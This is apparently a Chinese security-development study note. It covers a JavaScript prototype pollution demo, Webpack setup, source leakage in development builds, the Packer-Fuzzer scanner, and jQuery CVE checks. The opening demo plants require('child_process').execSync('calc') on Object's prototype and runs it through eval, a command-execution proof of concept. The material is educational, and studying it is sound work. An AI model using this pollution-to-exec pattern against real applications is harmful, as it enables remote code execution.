1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 let foo = {bar : 1 } console .log (foo.bar )foo.__proto__ .bar = 'x' console .log (foo.bar )let zoo = {}console .log (zoo.bar )let foo = {bar : 1 };console .log (foo.bar );foo.__proto__ .bar = 'require(\'child_process\').execSync(\'calc\');' console .log (foo.bar );let zoo = {};console .log (eval (zoo.bar ));
利用原型链污染,调用系统计算器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 let foo = {bar : 1 };console .log (foo.bar ); foo.__proto__ .bar = 'require(\'child_process\').execSync(\'calc\');' ; console .log (foo.bar ); let zoo = {};console .log (eval (zoo.bar ));
第四天 安全开发-JS应用&WebPack 打包器&第三方库JQuery&安装使用&安全检测
WebPack-使用&安全 WebPack打包器:
模块化支持:Webpack 支持将应用程序拆分为模块,使开发人员能够使用模块化的方式组织和管理代码。模块化能够提高代码的可维护性、重用性和可测试性。
资源打包:Webpack 可以将项目中的各种资源(例如 JavaScript、CSS、图像等)视为模块,并将它们打包成一个或多个最终的静态资源文件。这样可以减少网络请求的次数,提高应用程序的加载性能。
代码分割:Webpack 支持将应用程序的代码分割成多个块(chunks),并在需要时按需加载。这种代码分割的技术可以提高应用程序的初始加载速度,并减小用户需要下载的初始文件大小。
资源优化:Webpack 提供了丰富的插件和工具生态系统,可以进行各种资源优化和转换,例如压缩代码、处理样式预处理器、优化图像等。这些优化可以减小资源文件的大小,提高应用程序的性能。
开发环境支持:Webpack 提供了强大的开发环境支持,包括开发服务器、热模块替换(Hot Module Replacement)、源代码映射等功能。这些功能可以提升开发效率,加快开发周期。
解决的问题:
创建WebPack,并创建目录 src在目录下创建1.js 2.js
1.js
1 2 3 function test(){ console.log('test'); }
在创建index.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <script src="src/2.js"></script> <script src="src/1.js"></script> </body> </html>
由于js相互依赖的顺序不同,造成无法执行
使用方法 参考:https://mp.weixin.qq.com/s/J3bpy-SsCnQ1lBov1L98WA
Webpack是一个模块打包器。在Webpack中会将前端的所有资源文件 都作为模块处理。它将根据模块的依赖关系进行分析,生成对应的资源。
核心概念:
【入口(entry)】:指示webpack应该使用哪个模块,来作为构建内部依赖图开始。 【输出(output)】:在哪里输出文件,以及如何命名这些文件。 【Loader】:处理那些非JavaScript文件(webpack 自身只能解析 JavaScript和json)。webpack 本身只能处理JS、JSON模块,如果要加载其他类型的文件(模块),就需要使用对应的loader。 【插件(plugins)】:执行范围更广的任务,从打包到优化都可以实现。 【模式(mode)】:有生产模式production和开发模式development。
1、创建所需的打包文件
创建WebPack,并创建目录src在目录下创建js目录在js目录下创建sum.js count.js
sum.js
1 2 3 export default function sum (x,y ){ return x+y; }
1 2 3 4 export default function count (x,y ){ return x-y; }
1 2 3 4 5 6 import count from "./js/count" ;import sum from "./js/sum" ;console .log (sum (1 ,2 ));console .log (count (1 ,2 ));
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> //./dist/bundle.js继续后看 <script src="./dist/bundle.js"></script> </body> </html>
2、安装webpack库
npm i webpack webpack-cli -g
3、创建webpack配置文件
创建src同级文件webpack.config.js
不能改名称
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 const path = require ('path' );module .exports = { entry : './src/main.js' , output : { path : path.resolve (__dirname, 'dist' ), filename : 'bundle.js' , clean : true , }, mode : "development" , };
4、运行webpack打包命令
npx webpack
打包成功后,在index.html中将引用的代码切换为打包好的./dist/bundle.
1 2 3 <body> <script src="./dist/bundle.js"></script> </body>
运行成功,并回显定义的两个函数计算结果
webpack安全 1、WebPack源码泄漏-模式选择
development
模式下会启用一些开发工具,容易造成源码泄露
production
模式下会进行代码优化,代码极简化 。
使用development:
使用production:
模糊提取安全检查-PacketFuzzer https://github.com/rtcatc/Packer-Fuzzer
原生态JS:前端语言直接浏览器显示源代码 NodeJS:服务段语言浏览器不显示源代码 WebPack:打包模式选择开发者模式后会造成源码泄漏(nodejs vue)
本工具支持自动模糊提取对应目标站点的API以及API对应的参数内容,并支持对:未授权访问、敏感信息泄露、CORS、SQL注入、水平越权、弱口令、任意文件上传七大漏洞进行模糊高效的快速检测。在扫描结束之后,本工具还支持自动生成扫描报告,您可以选择便于分析的HTML版本以及较为正规的doc、pdf、txt版本。
JQuery-使用&安全 jQuery是一个快速、简洁的JavaScript框架,是一个丰富的JavaScript代码库。设计目的是为了写更少的代码,做更多的事情。它封装JavaScript常用功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、事件处理、动画设计和Ajax交互。
1、使用: 引用路径:https://www.jq22.com/jquery-info122
2、安全: 检测:http://research.insecurelabs.org/jquery/test/ 测试:CVE-2020-11022/CVE-2020-11023 参考:https://blog.csdn.net/weixin_44309905/article/details/120902867